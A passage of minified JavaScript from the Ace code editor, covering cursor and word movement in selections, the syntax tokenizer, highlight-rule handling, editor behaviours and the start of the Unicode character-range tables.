this.moveCursorTo(0, 0); }; this.moveCursorLongWordRight = function() { var row = this.lead.row; var column = this.lead.column; var line = this.doc.getLine(row); var rightOfCursor = line.substring(column); var match; this.session.nonTokenRe.lastIndex = 0; this.session.tokenRe.lastIndex = 0; var fold = this.session.getFoldAt(row, column, 1); if (fold) { this.moveCursorTo(fold.end.row, fold.end.column); return; } if (match = this.session.nonTokenRe.exec(rightOfCursor)) { column += this.session.nonTokenRe.lastIndex; this.session.nonTokenRe.lastIndex = 0; rightOfCursor = line.substring(column); } if (column >= line.length) { this.moveCursorTo(row, line.length); this.moveCursorRight(); if (row < this.doc.getLength() - 1) this.moveCursorWordRight(); return; } if (match = this.session.tokenRe.exec(rightOfCursor)) { column += this.session.tokenRe.lastIndex; this.session.tokenRe.lastIndex = 0; } this.moveCursorTo(row, column); }; this.moveCursorLongWordLeft = function() { var row = this.lead.row; var column = this.lead.column; var fold; if (fold = this.session.getFoldAt(row, column, -1)) { this.moveCursorTo(fold.start.row, fold.start.column); return; } var str = this.session.getFoldStringAt(row, column, -1); if (str == null) { str = this.doc.getLine(row).substring(0, column); } var leftOfCursor = lang.stringReverse(str); var match; this.session.nonTokenRe.lastIndex = 0; this.session.tokenRe.lastIndex = 0; if (match = this.session.nonTokenRe.exec(leftOfCursor)) { column -= this.session.nonTokenRe.lastIndex; leftOfCursor = leftOfCursor.slice(this.session.nonTokenRe.lastIndex); this.session.nonTokenRe.lastIndex = 0; } if (column <= 0) { this.moveCursorTo(row, 0); this.moveCursorLeft(); if (row > 0) this.moveCursorWordLeft(); return; } if (match = this.session.tokenRe.exec(leftOfCursor)) { column -= this.session.tokenRe.lastIndex; this.session.tokenRe.lastIndex = 0; } this.moveCursorTo(row, column); }; this.$shortWordEndIndex = function(rightOfCursor) { var match, index = 0, ch; var whitespaceRe = /\s/; var tokenRe = this.session.tokenRe; tokenRe.lastIndex = 0; if (match = this.session.tokenRe.exec(rightOfCursor)) { index = this.session.tokenRe.lastIndex; } else { while ((ch = rightOfCursor[index]) && whitespaceRe.test(ch)) index ++; if (index < 1) { tokenRe.lastIndex = 0; while ((ch = rightOfCursor[index]) && !tokenRe.test(ch)) { tokenRe.lastIndex = 0; index ++; if (whitespaceRe.test(ch)) { if (index > 2) { index--; break; } else { while ((ch = rightOfCursor[index]) && whitespaceRe.test(ch)) index ++; if (index > 2) break; } } } } } tokenRe.lastIndex = 0; return index; }; this.moveCursorShortWordRight = function() { var row = this.lead.row; var column = this.lead.column; var line = this.doc.getLine(row); var rightOfCursor = line.substring(column); var fold = this.session.getFoldAt(row, column, 1); if (fold) return this.moveCursorTo(fold.end.row, fold.end.column); if (column == line.length) { var l = this.doc.getLength(); do { row++; rightOfCursor = this.doc.getLine(row); } while (row < l && /^\s*$/.test(rightOfCursor)); if (!/^\s+/.test(rightOfCursor)) rightOfCursor = ""; column = 0; } var index = this.$shortWordEndIndex(rightOfCursor); this.moveCursorTo(row, column + index); }; this.moveCursorShortWordLeft = function() { var row = this.lead.row; var column = this.lead.column; var fold; if (fold = this.session.getFoldAt(row, column, -1)) return this.moveCursorTo(fold.start.row, fold.start.column); var line = this.session.getLine(row).substring(0, column); if (column === 0) { do { row--; line = this.doc.getLine(row); } while (row > 0 && /^\s*$/.test(line)); column = line.length; if (!/\s+$/.test(line)) line = ""; } var leftOfCursor = lang.stringReverse(line); var index = this.$shortWordEndIndex(leftOfCursor); return this.moveCursorTo(row, column - index); }; this.moveCursorWordRight = function() { if (this.session.$selectLongWords) this.moveCursorLongWordRight(); else this.moveCursorShortWordRight(); }; this.moveCursorWordLeft = function() { if (this.session.$selectLongWords) this.moveCursorLongWordLeft(); else this.moveCursorShortWordLeft(); }; this.moveCursorBy = function(rows, chars) { var screenPos = this.session.documentToScreenPosition( this.lead.row, this.lead.column ); if (chars === 0) { if (this.$desiredColumn) screenPos.column = this.$desiredColumn; else this.$desiredColumn = screenPos.column; } var docPos = this.session.screenToDocumentPosition(screenPos.row + rows, screenPos.column); if (rows !== 0 && chars === 0 && docPos.row === this.lead.row && docPos.column === this.lead.column) { if (this.session.lineWidgets && this.session.lineWidgets[docPos.row]) { if (docPos.row > 0 || rows > 0) docPos.row++; } } this.moveCursorTo(docPos.row, docPos.column + chars, chars === 0); }; this.moveCursorToPosition = function(position) { this.moveCursorTo(position.row, position.column); }; this.moveCursorTo = function(row, column, keepDesiredColumn) { var fold = this.session.getFoldAt(row, column, 1); if (fold) { row = fold.start.row; column = fold.start.column; } this.$keepDesiredColumnOnChange = true; this.lead.setPosition(row, column); this.$keepDesiredColumnOnChange = false; if (!keepDesiredColumn) this.$desiredColumn = null; }; this.moveCursorToScreen = function(row, column, keepDesiredColumn) { var pos = this.session.screenToDocumentPosition(row, column); this.moveCursorTo(pos.row, pos.column, keepDesiredColumn); }; this.detach = function() { this.lead.detach(); this.anchor.detach(); this.session = this.doc = null; }; this.fromOrientedRange = function(range) { this.setSelectionRange(range, range.cursor == range.start); this.$desiredColumn = range.desiredColumn || this.$desiredColumn; }; this.toOrientedRange = function(range) { var r = this.getRange(); if (range) { range.start.column = r.start.column; range.start.row = r.start.row; range.end.column = r.end.column; range.end.row = r.end.row; } else { range = r; } range.cursor = this.isBackwards() ? range.start : range.end; range.desiredColumn = this.$desiredColumn; return range; }; this.getRangeOfMovements = function(func) { var start = this.getCursor(); try { func(this); var end = this.getCursor(); return Range.fromPoints(start,end); } catch(e) { return Range.fromPoints(start,start); } finally { this.moveCursorToPosition(start); } }; this.toJSON = function() { if (this.rangeCount) { var data = this.ranges.map(function(r) { var r1 = r.clone(); r1.isBackwards = r.cursor == r.start; return r1; }); } else { var data = this.getRange(); data.isBackwards = this.isBackwards(); } return data; }; this.fromJSON = function(data) { if (data.start == undefined) { if (this.rangeList) { this.toSingleRange(data[0]); for (var i = data.length; i--; ) { var r = Range.fromPoints(data[i].start, data[i].end); if (data[i].isBackwards) r.cursor = r.start; this.addRange(r, true); } return; } else data = data[0]; } if (this.rangeList) this.toSingleRange(data); this.setSelectionRange(data, data.isBackwards); }; this.isEqual = function(data) { if ((data.length || this.rangeCount) && data.length != this.rangeCount) return false; if (!data.length || !this.ranges) return this.getRange().isEqual(data); for (var i = this.ranges.length; i--; ) { if (!this.ranges[i].isEqual(data[i])) return false; } return true; }; }).call(Selection.prototype); exports.Selection = Selection; }); ace.define("ace/tokenizer",["require","exports","module","ace/config"], function(require, exports, module) { "use strict"; var config = require("./config"); var MAX_TOKEN_COUNT = 2000; var Tokenizer = function(rules) { this.states = rules; this.regExps = {}; this.matchMappings = {}; for (var key in this.states) { var state = this.states[key]; var ruleRegExps = []; var matchTotal = 0; var mapping = this.matchMappings[key] = {defaultToken: "text"}; var flag = "g"; var splitterRurles = []; for (var i = 0; i < state.length; i++) { var rule = state[i]; if (rule.defaultToken) mapping.defaultToken = rule.defaultToken; if (rule.caseInsensitive) flag = "gi"; if (rule.regex == null) continue; if (rule.regex instanceof RegExp) rule.regex = rule.regex.toString().slice(1, -1); var adjustedregex = rule.regex; var matchcount = new RegExp("(?:(" + adjustedregex + ")|(.))").exec("a").length - 2; if (Array.isArray(rule.token)) { if (rule.token.length == 1 || matchcount == 1) { rule.token = rule.token[0]; } else if (matchcount - 1 != rule.token.length) { this.reportError("number of classes and regexp groups doesn't match", { rule: rule, groupCount: matchcount - 1 }); rule.token = rule.token[0]; } else { rule.tokenArray = rule.token; rule.token = null; rule.onMatch = this.$arrayTokens; } } else if (typeof rule.token == "function" && !rule.onMatch) { if (matchcount > 1) rule.onMatch = this.$applyToken; else rule.onMatch = rule.token; } if (matchcount > 1) { if (/\\\d/.test(rule.regex)) { adjustedregex = rule.regex.replace(/\\([0-9]+)/g, function(match, digit) { return "\\" + (parseInt(digit, 10) + matchTotal + 1); }); } else { matchcount = 1; adjustedregex = this.removeCapturingGroups(rule.regex); } if (!rule.splitRegex && typeof rule.token != "string") splitterRurles.push(rule); // flag will be known only at the very end } mapping[matchTotal] = i; matchTotal += matchcount; ruleRegExps.push(adjustedregex); if (!rule.onMatch) rule.onMatch = null; } if (!ruleRegExps.length) { mapping[0] = 0; ruleRegExps.push("$"); } splitterRurles.forEach(function(rule) { rule.splitRegex = this.createSplitterRegexp(rule.regex, flag); }, this); this.regExps[key] = new RegExp("(" + ruleRegExps.join(")|(") + ")|($)", flag); } }; (function() { this.$setMaxTokenCount = function(m) { MAX_TOKEN_COUNT = m | 0; }; this.$applyToken = function(str) { var values = this.splitRegex.exec(str).slice(1); var types = this.token.apply(this, values); if (typeof types === "string") return [{type: types, value: str}]; var tokens = []; for (var i = 0, l = types.length; i < l; i++) { if (values[i]) tokens[tokens.length] = { type: types[i], value: values[i] }; } return tokens; }; this.$arrayTokens = function(str) { if (!str) return []; var values = this.splitRegex.exec(str); if (!values) return "text"; var tokens = []; var types = this.tokenArray; for (var i = 0, l = types.length; i < l; i++) { if (values[i + 1]) tokens[tokens.length] = { type: types[i], value: values[i + 1] }; } return tokens; }; this.removeCapturingGroups = function(src) { var r = src.replace( /\[(?:\\.|[^\]])*?\]|\\.|\(\?[:=!]|(\()/g, function(x, y) {return y ? "(?:" : x;} ); return r; }; this.createSplitterRegexp = function(src, flag) { if (src.indexOf("(?=") != -1) { var stack = 0; var inChClass = false; var lastCapture = {}; src.replace(/(\\.)|(\((?:\?[=!])?)|(\))|([\[\]])/g, function( m, esc, parenOpen, parenClose, square, index ) { if (inChClass) { inChClass = square != "]"; } else if (square) { inChClass = true; } else if (parenClose) { if (stack == lastCapture.stack) { lastCapture.end = index+1; lastCapture.stack = -1; } stack--; } else if (parenOpen) { stack++; if (parenOpen.length != 1) { lastCapture.stack = stack lastCapture.start = index; } } return m; }); if (lastCapture.end != null && /^\)*$/.test(src.substr(lastCapture.end))) src = src.substring(0, lastCapture.start) + src.substr(lastCapture.end); } if (src.charAt(0) != "^") src = "^" + src; if (src.charAt(src.length - 1) != "$") src += "$"; return new RegExp(src, (flag||"").replace("g", "")); }; this.getLineTokens = function(line, startState) { if (startState && typeof startState != "string") { var stack = startState.slice(0); startState = stack[0]; if (startState === "#tmp") { stack.shift() startState = stack.shift() } } else var stack = []; var currentState = startState || "start"; var state = this.states[currentState]; if (!state) { currentState = "start"; state = this.states[currentState]; } var mapping = this.matchMappings[currentState]; var re = this.regExps[currentState]; re.lastIndex = 0; var match, tokens = []; var lastIndex = 0; var matchAttempts = 0; var token = {type: null, value: ""}; while (match = re.exec(line)) { var type = mapping.defaultToken; var rule = null; var value = match[0]; var index = re.lastIndex; if (index - value.length > lastIndex) { var skipped = line.substring(lastIndex, index - value.length); if (token.type == type) { token.value += skipped; } else { if (token.type) tokens.push(token); token = {type: type, value: skipped}; } } for (var i = 0; i < match.length-2; i++) { if (match[i + 1] === undefined) continue; rule = state[mapping[i]]; if (rule.onMatch) type = rule.onMatch(value, currentState, stack); else type = rule.token; if (rule.next) { if (typeof rule.next == "string") { currentState = rule.next; } else { currentState = rule.next(currentState, stack); } state = this.states[currentState]; if (!state) { this.reportError("state doesn't exist", currentState); currentState = "start"; state = this.states[currentState]; } mapping = this.matchMappings[currentState]; lastIndex = index; re = this.regExps[currentState]; re.lastIndex = index; } break; } if (value) { if (typeof type === "string") { if ((!rule || rule.merge !== false) && token.type === type) { token.value += value; } else { if (token.type) tokens.push(token); token = {type: type, value: value}; } } else if (type) { if (token.type) tokens.push(token); token = {type: null, value: ""}; for (var i = 0; i < type.length; i++) tokens.push(type[i]); } } if (lastIndex == line.length) break; lastIndex = index; if (matchAttempts++ > MAX_TOKEN_COUNT) { if (matchAttempts > 2 * line.length) { this.reportError("infinite loop with in ace tokenizer", { startState: startState, line: line }); } while (lastIndex < line.length) { if (token.type) tokens.push(token); token = { value: line.substring(lastIndex, lastIndex += 2000), type: "overflow" }; } currentState = "start"; stack = []; break; } } if (token.type) tokens.push(token); if (stack.length > 1) { if (stack[0] !== currentState) stack.unshift("#tmp", currentState); } return { tokens : tokens, state : stack.length ? stack : currentState }; }; this.reportError = config.reportError; }).call(Tokenizer.prototype); exports.Tokenizer = Tokenizer; }); ace.define("ace/mode/text_highlight_rules",["require","exports","module","ace/lib/lang"], function(require, exports, module) { "use strict"; var lang = require("../lib/lang"); var TextHighlightRules = function() { this.$rules = { "start" : [{ token : "empty_line", regex : '^$' }, { defaultToken : "text" }] }; }; (function() { this.addRules = function(rules, prefix) { if (!prefix) { for (var key in rules) this.$rules[key] = rules[key]; return; } for (var key in rules) { var state = rules[key]; for (var i = 0; i < state.length; i++) { var rule = state[i]; if (rule.next || rule.onMatch) { if (typeof rule.next == "string") { if (rule.next.indexOf(prefix) !== 0) rule.next = prefix + rule.next; } if (rule.nextState && rule.nextState.indexOf(prefix) !== 0) rule.nextState = prefix + rule.nextState; } } this.$rules[prefix + key] = state; } }; this.getRules = function() { return this.$rules; }; this.embedRules = function (HighlightRules, prefix, escapeRules, states, append) { var embedRules = typeof HighlightRules == "function" ? new HighlightRules().getRules() : HighlightRules; if (states) { for (var i = 0; i < states.length; i++) states[i] = prefix + states[i]; } else { states = []; for (var key in embedRules) states.push(prefix + key); } this.addRules(embedRules, prefix); if (escapeRules) { var addRules = Array.prototype[append ? "push" : "unshift"]; for (var i = 0; i < states.length; i++) addRules.apply(this.$rules[states[i]], lang.deepCopy(escapeRules)); } if (!this.$embeds) this.$embeds = []; this.$embeds.push(prefix); }; this.getEmbeds = function() { return this.$embeds; }; var pushState = function(currentState, stack) { if (currentState != "start" || stack.length) stack.unshift(this.nextState, currentState); return this.nextState; }; var popState = function(currentState, stack) { stack.shift(); return stack.shift() || "start"; }; this.normalizeRules = function() { var id = 0; var rules = this.$rules; function processState(key) { var state = rules[key]; state.processed = true; for (var i = 0; i < state.length; i++) { var rule = state[i]; var toInsert = null; if (Array.isArray(rule)) { toInsert = rule; rule = {}; } if (!rule.regex && rule.start) { rule.regex = rule.start; if (!rule.next) rule.next = []; rule.next.push({ defaultToken: rule.token }, { token: rule.token + ".end", regex: rule.end || rule.start, next: "pop" }); rule.token = rule.token + ".start"; rule.push = true; } var next = rule.next || rule.push; if (next && Array.isArray(next)) { var stateName = rule.stateName; if (!stateName) { stateName = rule.token; if (typeof stateName != "string") stateName = stateName[0] || ""; if (rules[stateName]) stateName += id++; } rules[stateName] = next; rule.next = stateName; processState(stateName); } else if (next == "pop") { rule.next = popState; } if (rule.push) { rule.nextState = rule.next || rule.push; rule.next = pushState; delete rule.push; } if (rule.rules) { for (var r in rule.rules) { if (rules[r]) { if (rules[r].push) rules[r].push.apply(rules[r], rule.rules[r]); } else { rules[r] = rule.rules[r]; } } } var includeName = typeof rule == "string" ? rule : typeof rule.include == "string" ? rule.include : ""; if (includeName) { toInsert = rules[includeName]; } if (toInsert) { var args = [i, 1].concat(toInsert); if (rule.noEscape) args = args.filter(function(x) {return !x.next;}); state.splice.apply(state, args); i--; } if (rule.keywordMap) { rule.token = this.createKeywordMapper( rule.keywordMap, rule.defaultToken || "text", rule.caseInsensitive ); delete rule.defaultToken; } } } Object.keys(rules).forEach(processState, this); }; this.createKeywordMapper = function(map, defaultToken, ignoreCase, splitChar) { var keywords = Object.create(null); Object.keys(map).forEach(function(className) { var a = map[className]; if (ignoreCase) a = a.toLowerCase(); var list = a.split(splitChar || "|"); for (var i = list.length; i--; ) keywords[list[i]] = className; }); if (Object.getPrototypeOf(keywords)) { keywords.__proto__ = null; } this.$keywordList = Object.keys(keywords); map = null; return ignoreCase ? function(value) {return keywords[value.toLowerCase()] || defaultToken } : function(value) {return keywords[value] || defaultToken }; }; this.getKeywords = function() { return this.$keywords; }; }).call(TextHighlightRules.prototype); exports.TextHighlightRules = TextHighlightRules; }); ace.define("ace/mode/behaviour",["require","exports","module"], function(require, exports, module) { "use strict"; var Behaviour = function() { this.$behaviours = {}; }; (function () { this.add = function (name, action, callback) { switch (undefined) { case this.$behaviours: this.$behaviours = {}; case this.$behaviours[name]: this.$behaviours[name] = {}; } this.$behaviours[name][action] = callback; } this.addBehaviours = function (behaviours) { for (var key in behaviours) { for (var action in behaviours[key]) { this.add(key, action, behaviours[key][action]); } } } this.remove = function (name) { if (this.$behaviours && this.$behaviours[name]) { delete this.$behaviours[name]; } } this.inherit = function (mode, filter) { if (typeof mode === "function") { var behaviours = new mode().getBehaviours(filter); } else { var behaviours = mode.getBehaviours(filter); } this.addBehaviours(behaviours); } this.getBehaviours = function (filter) { if (!filter) { return this.$behaviours; } else { var ret = {} for (var i = 0; i < filter.length; i++) { if (this.$behaviours[filter[i]]) { ret[filter[i]] = this.$behaviours[filter[i]]; } } return ret; } } }).call(Behaviour.prototype); exports.Behaviour = Behaviour; }); ace.define("ace/unicode",["require","exports","module"], function(require, exports, module) { "use strict"; exports.packages = {}; addUnicodePackage({ L: "0041-005A0061-007A00AA00B500BA00C0-00D600D8-00F600F8-02C102C6-02D102E0-02E402EC02EE0370-037403760377037A-037D03860388-038A038C038E-03A103A3-03F503F7-0481048A-05250531-055605590561-058705D0-05EA05F0-05F20621-064A066E066F0671-06D306D506E506E606EE06EF06FA-06FC06FF07100712-072F074D-07A507B107CA-07EA07F407F507FA0800-0815081A082408280904-0939093D09500958-0961097109720979-097F0985-098C098F09900993-09A809AA-09B009B209B6-09B909BD09CE09DC09DD09DF-09E109F009F10A05-0A0A0A0F0A100A13-0A280A2A-0A300A320A330A350A360A380A390A59-0A5C0A5E0A72-0A740A85-0A8D0A8F-0A910A93-0AA80AAA-0AB00AB20AB30AB5-0AB90ABD0AD00AE00AE10B05-0B0C0B0F0B100B13-0B280B2A-0B300B320B330B35-0B390B3D0B5C0B5D0B5F-0B610B710B830B85-0B8A0B8E-0B900B92-0B950B990B9A0B9C0B9E0B9F0BA30BA40BA8-0BAA0BAE-0BB90BD00C05-0C0C0C0E-0C100C12-0C280C2A-0C330C35-0C390C3D0C580C590C600C610C85-0C8C0C8E-0C900C92-0CA80CAA-0CB30CB5-0CB90CBD0CDE0CE00CE10D05-0D0C0D0E-0D100D12-0D280D2A-0D390D3D0D600D610D7A-0D7F0D85-0D960D9A-0DB10DB3-0DBB0DBD0DC0-0DC60E01-0E300E320E330E40-0E460E810E820E840E870E880E8A0E8D0E94-0E970E99-0E9F0EA1-0EA30EA50EA70EAA0EAB0EAD-0EB00EB20EB30EBD0EC0-0EC40EC60EDC0EDD0F000F40-0F470F49-0F6C0F88-0F8B1000-102A103F1050-1055105A-105D106110651066106E-10701075-1081108E10A0-10C510D0-10FA10FC1100-1248124A-124D1250-12561258125A-125D1260-1288128A-128D1290-12B012B2-12B512B8-12BE12C012C2-12C512C8-12D612D8-13101312-13151318-135A1380-138F13A0-13F41401-166C166F-167F1681-169A16A0-16EA1700-170C170E-17111720-17311740-17511760-176C176E-17701780-17B317D717DC1820-18771880-18A818AA18B0-18F51900-191C1950-196D1970-19741980-19AB19C1-19C71A00-1A161A20-1A541AA71B05-1B331B45-1B4B1B83-1BA01BAE1BAF1C00-1C231C4D-1C4F1C5A-1C7D1CE9-1CEC1CEE-1CF11D00-1DBF1E00-1F151F18-1F1D1F20-1F451F48-1F4D1F50-1F571F591F5B1F5D1F5F-1F7D1F80-1FB41FB6-1FBC1FBE1FC2-1FC41FC6-1FCC1FD0-1FD31FD6-1FDB1FE0-1FEC1FF2-1FF41FF6-1FFC2071207F2090-209421022107210A-211321152119-211D212421262128212A-212D212F-2139213C-213F2145-2149214E218321842C00-2C2E2C30-2C5E2C60-2CE42CEB-2CEE2D00-2D252D30-2D652D6F2D80-2D962DA0-2DA62DA8-2DAE2DB0-2DB62DB8-2DBE2DC0-2DC62DC8-2DCE2DD0-2DD62DD8-2DDE2E2F300530063031-3035303B303C3041-3096309D-309F30A1-30FA30FC-30FF3105-312D3131-318E31A0-31B731F0-31FF3400-4DB54E00-9FCBA000-A48CA4D0-A4FDA500-A60CA610-A61FA62AA62BA640-A65FA662-A66EA67F-A697A6A0-A6E5A717-A71FA722-A788A78BA78CA7FB-A801A803-A805A807-A80AA80C-A822A840-A873A882-A8B3A8F2-A8F7A8FBA90A-A925A930-A946A960-A97CA984-A9B2A9CFAA00-AA28AA40-AA42AA44-AA4BAA60-AA76AA7AAA80-AAAFAAB1AAB5AAB6AAB9-AABDAAC0AAC2AADB-AADDABC0-ABE2AC00-D7A3D7B0-D7C6D7CB-D7FBF900-FA2DFA30-FA6DFA70-FAD9FB00-FB06FB13-FB17FB1DFB1F-FB28FB2A-FB36FB38-FB3CFB3EFB40FB41FB43FB44FB46-FBB1FBD3-FD3DFD50-FD8FFD92-FDC7FDF0-FDFBFE70-FE74FE76-FEFCFF21-FF3AFF41-FF5AFF66-FFBEFFC2-FFC7FFCA-FFCFFFD2-FFD7FFDA-FFDC", Ll: "0061-007A00AA00B500BA00DF-00F600F8-00FF01010103010501070109010B010D010F01110113011501170119011B011D011F01210123012501270129012B012D012F01310133013501370138013A013C013E014001420144014601480149014B014D014F01510153015501570159015B015D015F01610163016501670169016B016D016F0171017301750177017A017C017E-0180018301850188018C018D019201950199-019B019E01A101A301A501A801AA01AB01AD01B001B401B601B901BA01BD-01BF01C601C901CC01CE01D001D201D401D601D801DA01DC01DD01DF01E101E301E501E701E901EB01ED01EF01F001F301F501F901FB01FD01FF02010203020502070209020B020D020F02110213021502170219021B021D021F02210223022502270229022B022D022F02310233-0239023C023F0240024202470249024B024D024F-02930295-02AF037103730377037B-037D039003AC-03CE03D003D103D5-03D703D903DB03DD03DF03E103E303E503E703E903EB03ED03EF-03F303F503F803FB03FC0430-045F04610463046504670469046B046D046F04710473047504770479047B047D047F0481048B048D048F04910493049504970499049B049D049F04A104A304A504A704A904AB04AD04AF04B104B304B504B704B904BB04BD04BF04C204C404C604C804CA04CC04CE04CF04D104D304D504D704D904DB04DD04DF04E104E304E504E704E904EB04ED04EF04F104F304F504F704F904FB04FD04FF05010503050505070509050B050D050F05110513051505170519051B051D051F0521052305250561-05871D00-1D2B1D62-1D771D79-1D9A1E011E031E051E071E091E0B1E0D1E0F1E111E131E151E171E191E1B1E1D1E1F1E211E231E251E271E291E2B1E2D1E2F1E311E331E351E371E391E3B1E3D1E3F1E411E431E451E471E491E4B1E4D1E4F1E511E531E551E571E591E5B1E5D1E5F1E611E631E651E671E691E6B1E6D1E6F1E711E731E751E771E791E7B1E7D1E7F1E811E831E851E871E891E8B1E8D1E8F1E911E931E95-1E9D1E9F1EA11EA31EA51EA71EA91EAB1EAD1EAF1EB11EB31EB51EB71EB91EBB1EBD1EBF1EC11EC31EC51EC71EC91ECB1ECD1ECF1ED11ED31ED51ED71ED91EDB1EDD1EDF1EE11EE31EE51EE71EE91EEB1EED1EEF1EF11EF31EF51EF71EF91EFB1EFD1EFF-1F071F10-1F151F20-1F271F30-1F371F40-1F451F50-1F571F60-1F671F70-1F7D1F80-1F871F90-1F971FA0-1FA71FB0-1FB41FB61FB71FBE1FC2-1FC41FC61FC71FD0-1FD31FD61FD71FE0-1FE71FF2-1FF41FF61FF7210A210E210F2113212F21342139213C213D2146-2149214E21842C30-2C5E2C612C652C662C682C6A2C6C2C712C732C742C76-2C7C2C812C832C852C872C892C8B2C8D2C8F2C912C932C952C972C992C9B2C9D2C9F2CA12CA32CA52CA72CA92CAB2CAD2CAF2CB12CB32CB52CB72CB92CBB2CBD2CBF2CC12CC32CC52CC72CC92CCB2CCD2CCF2CD12CD32CD52CD72CD92CDB2CDD2CDF2CE12CE32CE42CEC2CEE2D00-2D25A641A643A645A647A649A64BA64DA64FA651A653A655A657A659A65BA65DA65FA663A665A667A669A66BA66DA681A683A685A687A689A68BA68DA68FA691A693A695A697A723A725A727A729A72BA72DA72F-A731A733A735A737A739A73BA73DA73FA741A743A745A747A749A74BA74DA74FA751A753A755A757A759A75BA75DA75FA761A763A765A767A769A76BA76DA76FA771-A778A77AA77CA77FA781A783A785A787A78CFB00-FB06FB13-FB17FF41-FF5A", Lu: "0041-005A00C0-00D600D8-00DE01000102010401060108010A010C010E01100112011401160118011A011C011E01200122012401260128012A012C012E01300132013401360139013B013D013F0141014301450147014A014C014E01500152015401560158015A015C015E01600162016401660168016A016C016E017001720174017601780179017B017D018101820184018601870189-018B018E-0191019301940196-0198019C019D019F01A001A201A401A601A701A901AC01AE01AF01B1-01B301B501B701B801BC01C401C701CA01CD01CF01D101D301D501D701D901DB01DE01E001E201E401E601E801EA01EC01EE01F101F401F6-01F801FA01FC01FE02000202020402060208020A020C020E02100212021402160218021A021C021E02200222022402260228022A022C022E02300232023A023B023D023E02410243-02460248024A024C024E03700372037603860388-038A038C038E038F0391-03A103A3-03AB03CF03D2-03D403D803DA03DC03DE03E003E203E403E603E803EA03EC03EE03F403F703F903FA03FD-042F04600462046404660468046A046C046E04700472047404760478047A047C047E0480048A048C048E04900492049404960498049A049C049E04A004A204A404A604A804AA04AC04AE04B004B204B404B604B804BA04BC04BE04C004C104C304C504C704C904CB04CD04D004D204D404D604D804DA04DC04DE04E004E204E404E604E804EA04EC04EE04F004F204F404F604F804FA04FC04FE05000502050405060508050A050C050E05100512051405160518051A051C051E0520052205240531-055610A0-10C51E001E021E041E061E081E0A1E0C1E0E1E101E121E141E161E181E1A1E1C1E1E1E201E221E241E261E281E2A1E2C1E2E1E301E321E341E361E381E3A1E3C1E3E1E401E421E441E461E481E4A1E4C1E4E1E501E521E541E561E581E5A1E5C1E5E1E601E621E641E661E681E6A1E6C1E6E1E701E721E741E761E781E7A1E7C1E7E1E801E821E841E861E881E8A1E8C1E8E1E901E921E941E9E1EA01EA21EA41EA61EA81EAA1EAC1EAE1EB01EB21EB41EB61EB81EBA1EBC1EBE1EC01EC21EC41EC61EC81ECA1ECC1ECE1ED01ED21ED41ED61ED81EDA1EDC1EDE1EE01EE21EE41EE61EE81EEA1EEC1EEE1EF01EF21EF41EF61EF81EFA1EFC1EFE1F08-1F0F1F18-1F1D1F28-1F2F1F38-1F3F1F48-1F4D1F591F5B1F5D1F5F1F68-1F6F1FB8-1FBB1FC8-1FCB1FD8-1FDB1FE8-1FEC1FF8-1FFB21022107210B-210D2110-211221152119-211D212421262128212A-212D2130-2133213E213F214521832C00-2C2E2C602C62-2C642C672C692C6B2C6D-2C702C722C752C7E-2C802C822C842C862C882C8A2C8C2C8E2C902C922C942C962C982C9A2C9C2C9E2CA02CA22CA42CA62CA82CAA2CAC2CAE2CB02CB22CB42CB62CB82CBA2CBC2CBE2CC02CC22CC42CC62CC82CCA2CCC2CCE2CD02CD22CD42CD62CD82CDA2CDC2CDE2CE02CE22CEB2CEDA640A642A644A646A648A64AA64CA64EA650A652A654A656A658A65AA65CA65EA662A664A666A668A66AA66CA680A682A684A686A688A68AA68CA68EA690A692A694A696A722A724A726A728A72AA72CA72EA732A734A736A738A73AA73CA73EA740A742A744A746A748A74AA74CA74EA750A752A754A756A758A75AA75CA75EA760A762A764A766A768A76AA76CA76EA779A77BA77DA77EA780A782A784A786A78BFF21-FF3A", Lt: "01C501C801CB01F21F88-1F8F1F98-1F9F1FA8-1FAF1FBC1FCC1FFC", Lm: "02B0-02C102C6-02D102E0-02E402EC02EE0374037A0559064006E506E607F407F507FA081A0824082809710E460EC610FC17D718431AA71C78-1C7D1D2C-1D611D781D9B-1DBF2071207F2090-20942C7D2D6F2E2F30053031-3035303B309D309E30FC-30FEA015A4F8-A4FDA60CA67FA717-A71FA770A788A9CFAA70AADDFF70FF9EFF9F", Lo: "01BB01C0-01C3029405D0-05EA05F0-05F20621-063F0641-064A066E066F0671-06D306D506EE06EF06FA-06FC06FF07100712-072F074D-07A507B107CA-07EA0800-08150904-0939093D09500958-096109720979-097F0985-098C098F09900993-09A809AA-09B009B209B6-09B909BD09CE09DC09DD09DF-09E109F009F10A05-0A0A0A0F0A100A13-0A280A2A-0A300A320A330A350A360A380A390A59-0A5C0A5E0A72-0A740A85-0A8D0A8F-0A910A93-0AA80AAA-0AB00AB20AB30AB5-0AB90ABD0AD00AE00AE10B05-0B0C0B0F0B100B13-0B280B2A-0B300B320B330B35-0B390B3D0B5C0B5D0B5F-0B610B710B830B85-0B8A0B8E-0B900B92-0B950B990B9A0B9C0B9E0B9F0BA30BA40BA8-0BAA0BAE-0BB90BD00C05-0C0C0C0E-0C100C12-0C280C2A-0C330C35-0C390C3D0C580C590C600C610C85-0C8C0C8E-0C900C92-0CA80CAA-0CB30CB5-0CB90CBD0CDE0CE00CE10D05-0D0C0D0E-0D100D12-0D280D2A-0D390D3D0D600D610D7A-0D7F0D85-0D960D9A-0DB10DB3-0DBB0DBD0DC0-0DC60E01-0E300E320E330E40-0E450E810E820E840E870E880E8A0E8D0E94-0E970E99-0E9F0EA1-0EA30EA50EA70EAA0EAB0EAD-0EB00EB20EB30EBD0EC0-0EC40EDC0EDD0F000F40-0F470F49-0F6C0F88-0F8B1000-102A103F1050-1055105A-105D106110651066106E-10701075-1081108E10D0-10FA1100-1248124A-124D1250-12561258125A-125D1260-1288128A-128D1290-12B012B2-12B512B8-12BE12C012C2-12C512C8-12D612D8-13101312-13151318-135A1380-138F13A0-13F41401-166C166F-167F1681-169A16A0-16EA1700-170C170E-17111720-17311740-17511760-176C176E-17701780-17B317DC1820-18421844-18771880-18A818AA18B0-18F51900-191C1950-196D1970-19741980-19AB19C1-19C71A00-1A161A20-1A541B05-1B331B45-1B4B1B83-1BA01BAE1BAF1C00-1C231C4D-1C4F1C5A-1C771CE9-1CEC1CEE-1CF12135-21382D30-2D652D80-2D962DA0-2DA62DA8-2DAE2DB0-2DB62DB8-2DBE2DC0-2DC62DC8-2DCE2DD0-2DD62DD8-2DDE3006303C3041-3096309F30A1-30FA30FF3105-312D3131-318E31A0-31B731F0-31FF3400-4DB54E00-9FCBA000-A014A016-A48CA4D0-A4F7A500-A60BA610-A61FA62AA62BA66EA6A0-A6E5A7FB-A801A803-A805A807-A80AA80C-A822A840-A